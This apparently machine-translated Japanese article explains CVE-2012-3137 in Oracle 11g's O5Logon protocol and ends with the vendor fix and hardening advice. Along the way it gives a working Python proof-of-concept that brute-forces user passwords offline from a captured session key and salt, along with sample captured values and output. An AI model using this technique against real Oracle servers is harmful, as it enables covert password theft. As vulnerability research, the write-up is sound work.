Oracle 11g認証プロトコルの脆弱性

少し前に、Oracleデータベースバージョン11.1および11.2で使用されているO5Logon認証プロトコルの新しい脆弱性(番号CVE-2012-3137を取得 )について知られるようになりました。 この脆弱性により、リモートユーザーは、サーバーから受信した暗号化されたセッション識別子に対してブルートフォース攻撃を開始することにより、アクセスパスワードを取得できます。 この機能により、データベースサーバーに追加のネットワーク要求を送信することなく、ユーザーパスワードをローカルで見つけることができます。



O5Logon操作の概要


サーバーとの相互作用は次のように発生します。

  1. クライアントはサーバーに接続し、ユーザー名を送信します
  2. サーバーはセッション識別子を生成し、AES-192を使用して暗号化します。 キーは、ユーザーパスワードと追加されたソルトのSHA1ハッシュです。
  3. サーバーは、暗号化されたセッション識別子とソルトをクライアントに送信します
  4. クライアントは、パスワードからハッシュを受け取り、ソルトを受け取ってキーを生成します。 このキーを使用して、クライアントはサーバーから受信したセッションデータを復号化します。
  5. 復号化されたサーバーセッション識別子に基づいて、クライアントは新しい共有キーを生成します。これは後で使用されます




主な関心はステージ1〜3であり、次のように表すことができます。







接続の最初からサーバーは、パスワードの選択に必要なすべての情報を送信します。 セッションIDの主要な機能により攻撃が可能になります。公開セッション識別子の最後の8バイトは常に8バイトで構成されます。 この情報は、正しい復号化を決定するのに十分です。



この問題のもう1つの特徴は、3番目のステージ後に接続が切断されることです。接続試行の事実はログに表示されません。 攻撃はまったく気付かれないようにすることができます。



実用面


脆弱性をテストするために、Oracleが開発者をトレーニングするために使用し、プリインストールされたデータベースバージョン11.2.0.2を含む仮想マシンの自由に配布されたダンプがインストールされます



インストール後、たとえばPythonやcx_Oracleライブラリを使用して、標準ポートを介してデータベースへの接続を試みることができます。 テストとして、組み込みユーザーシステムの選択が行われました。 さらなる攻撃に必要なすべてのデータを取得するには、ユーザー名のみを知るだけで十分です。



>>> import cx_Oracle >>> con = cx_Oracle.connect('system/wrongpassword@192.168.56.104/orcl') Traceback (most recent call last): File "<stdin>", line 1, in <module> cx_Oracle.DatabaseError: ORA-01017: invalid username/password; logon denied
      
      







この場合、暗号化されたセッションIDとソルトを取得するための最も簡単な方法は、Wiresharkを使用することでした:









ここでは次の値が役立ちます。



セッションID(AUTH_SESSKEY) :EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767



ソルト(AUTH_VFR_DATA) :A7193E546377EC56639E



概念実証


次のコードは、セッションとパスワードのブルートフォースを解読するためにひざまずいて記述されました。

 #-*-coding:utf8 -*- import hashlib from Crypto.Cipher import AES def decrypt(session,salt,password): pass_hash = hashlib.sha1(password+salt) #     24  key = pass_hash.digest() + '\x00\x00\x00\x00' decryptor = AES.new(key,AES.MODE_CBC) plain = decryptor.decrypt(session) return plain #   48  session_hex = 'EA2043CB8B46E3864311C68BDC161F8CA170363C1E6F57F3EBC6435F541A8239B6DBA16EAAB5422553A7598143E78767' # 10  salt_hex = 'A7193E546377EC56639E' passwords = ['test','password','oracle','demo'] for password in passwords: session_id = decrypt(session_hex.decode('hex'),salt_hex.decode('hex'),password) print 'Decrypted session_id for password "%s" is %s' % (password,session_id.encode('hex')) if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': print 'PASSWORD IS "%s"' % password break
      
      







プログラムを開始すると、以下が得られます。

 Decrypted session_id for password "test" is 26998331454aeb10fbf10ae8a3deac8e9e0531378089a3acaa9294f3256227bc00feae272db6c1eafb105d6baa953274 Decrypted session_id for password "password" is 8a62f6dcca35f6886ea5b0cbd24791cfd0a3390eb29c64a4d58bfe1c19e27df0de315772ea84e28ddd9a126dfdec134d Decrypted session_id for password "oracle" is 58b6e23a31ee7136d4893a01d48cd17e841fc3e90545711668a69d9c28b5c5d8819a4f7a961334320808080808080808 PASSWORD IS "oracle" [Finished in 0.1s]
      
      





パスワードが正常に選択されました。



おわりに


Oracleはバージョン11.2.0.3でこの問題を解決し、ユーザーが新しい認証メカニズムを使用できるようにしました。これは、クライアント部分とサーバー部分のsqlnet.oraファイルに明示的に登録するために必要です。



SQLNET.ALLOWED_LOGON_VERSION=12







しかし、このソリューションはほとんどの稼働中のシステムで受け入れられると言えます サーバー側に加えて、クライアントを再構成する必要があります。 このような場合に通常どおり、強力なパスワードの使用とネットワークアクセスのレベルでの明確な制限は、合理的な推奨事項と見なすことができます。



All Articles